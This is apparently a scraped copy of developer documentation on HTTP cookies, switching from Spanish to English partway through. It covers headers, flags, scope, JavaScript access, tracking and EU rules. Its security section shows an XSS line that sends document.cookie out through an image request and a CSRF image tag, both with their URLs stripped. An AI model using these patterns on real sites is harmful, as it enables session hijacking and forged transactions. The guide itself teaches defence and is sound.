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Una cookie HTTP, cookie web o cookie de navegador es una pequeña pieza de datos que un servidor envía a el navegador web del usuario. El navegador guarda estos datos y los envía de regreso junto con la nueva petición al mismo servidor. Las cookies se usan generalmente para decirle al servidor que dos peticiones tiene su origen en el mismo navegador web lo que permite, por ejemplo, mantener la sesión de un usuario abierta. Las cookies permiten recordar la información de estado en vista a que el protocolo HTTP es un protocolo sin estado.

Las cookies se utilizan principalmente con tres propósitos:

Gestión de Sesiones
Inicios de sesión, carritos de compras, puntajes de juegos o cualquier otra cosa que el servidor deba recordar
Preferencias de usuario, temas y otras configuraciones
Guardar y analizar el comportamiento del usuario

Las cookies se usaron una vez para el almacenamiento general del lado del cliente. Si bien esto era legítimo cuando eran la única forma de almacenar datos en el cliente, hoy en día se recomienda preferir las API de almacenamiento modernas. Las cookies se envían con cada solicitud, por lo que pueden empeorar el rendimiento (especialmente para las conexiones de datos móviles). Las APIs modernas para el almacenamiento del cliente son la Web storage API (localStorage y sessionStorage) e IndexedDB.

Para ver las cookies almacenadas (y otro tipo de almacenamiento que una página web puede usar), puede habilitar el Inspector de Almacenamiento en Herramientas del desarrollador y seleccionar Cookies en el árbol de almacenamiento.

Creando cookies

Al recibir una solicitud HTTP, un servidor puede enviar un encabezado Set-Cookie con la respuesta. La cookie generalmente es almacenada por el navegador, y luego la cookie se envía con solicitudes hechas al mismo servidor dentro de un encabezado HTTP Cookie. Se puede especificar una fecha de vencimiento o duración, después de lo cual ya no se envía la cookie. Además, se pueden establecer restricciones a un dominio y ruta específicos, lo que limita el lugar donde se envía la cookie.


El encabezado de respuesta HTTP Set-Cookie envía las cookies del servidor al agente de usuario. Una cookie simple se establece así:

Set-Cookie: <nombre-cookie>=<valor-cookie>

Este encabezado del servidor le dice al cliente que almacene una cookie.

Note: Aquí se explica como usar el encabezado Set-Cookie en varias aplicaciones del lado del servidor:
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

Ahora, con cada nueva solicitud al servidor, el navegador enviará todas las cookies almacenadas previamente al servidor utilizando el encabezado Cookie.

GET /sample_page.html HTTP/1.1
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Cookies de sesión

La cookier creada anteriormente es una cookie de sesión: se elimina cuando el cliente se cierra, por que no se especificó una directiva ExpiresMax-Age . Sin embargo, los navegadores web pueden usar la restauración de sesiones, lo que hace que la mayoría de las cookies de sesión sean permanentes, como si el navegador nunca se cerrara.

Permanent cookies

Instead of expiring when the client closes, permanent cookies expire at a specific date (Expires) or after a specific length of time (Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Note: When an expiry date is set, the time and date set is relative to the client the cookie is being set on, not the server.

Secure and HttpOnly cookies

A secure cookie is only sent to the server with a encrypted request over the HTTPS protocol. Even with Secure, sensitive information should never be stored in cookies, as they are inherently insecure and this flag can't offer real protection. Starting with Chrome 52 and Firefox 52, insecure sites (http:) can't set cookies with the Secure directive.

To prevent cross-site scripting (XSS) attacks, HttpOnly cookies are inaccessible to JavaScript's Document.cookie API; they are only sent to the server. For example, cookies that persist server-side sessions don't need to be available to JavaScript, and the HttpOnly flag should be set.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Scope of cookies

The Domain and Path directives define the scope of the cookie: what URLs the cookies should be sent to.

Domain specifies allowed hosts to receive the cookie. If unspecified, it defaults to the host of the current document location, excluding subdomains. If Domain is specified, then subdomains are always included.

For example, if is set, then cookies are included on subdomains like

Path indicates a URL path that must exist in the requested URL in order to send the Cookie header. The %x2F ("/") character is considered a directory separator, and subdirectories will match as well.

For example, if Path=/docs is set, these paths will match:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

SameSite cookies

SameSite cookies let servers require that a cookie shouldn't be sent with cross-site requests, which somewhat protects against cross-site request forgery attacks (CSRF). SameSite cookies are still experimental and not yet supported by all browsers.

JavaScript access using Document.cookie

New cookies can also be created via JavaScript using the Document.cookie property, and if the HttpOnly flag is not set, existing cookies can be accessed from JavaScript as well.

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

Please note the security issues in the Security section below. Cookies available to JavaScript can get stolen through XSS.


Confidential or sensitive information should never be stored or transmitted in HTTP Cookies, as the entire mechanism is inherently insecure.

Session hijacking and XSS

Cookies are often used in web application to identify a user and their authenticated session, so stealing a cookie can lead to hijacking the authenticated user's session. Common ways to steal cookies include Social Engineering or exploiting an XSS vulnerability in the application.

(new Image()).src = "" + document.cookie;

The HttpOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript.

Cross-site request forgery (CSRF)

Wikipedia mentions a good example for CSRF. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:

<img src="">

Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. There are a few techniques that are used to prevent this from happening:

  • As with XSS, input filtering is important.
  • There should always be a confirmation required for any sensitive action.
  • Cookies that are used for sensitive actions should have a short lifetime only.
  • For more prevention tips, see the OWASP CSRF prevention cheat sheet.

Tracking and privacy

Third-party cookies

Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a first-party cookie. If the domain is different, it is said to be a third-party cookie. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the types of cookies used by Google. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, Privacy Badger by the EFF).

If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikipedia's cookie statement.


There are no legal or technological requirements for its use, but the DNT header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the DNT header for more information.

Requirements for cookies across the EU are defined in Directive 2009/136/EC of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.

In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners since then to inform the user about the use of cookies.

For more, see this Wikipedia section and consult state laws for the latest and most accurate information.

Zombie cookies and Evercookies

A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.

See also

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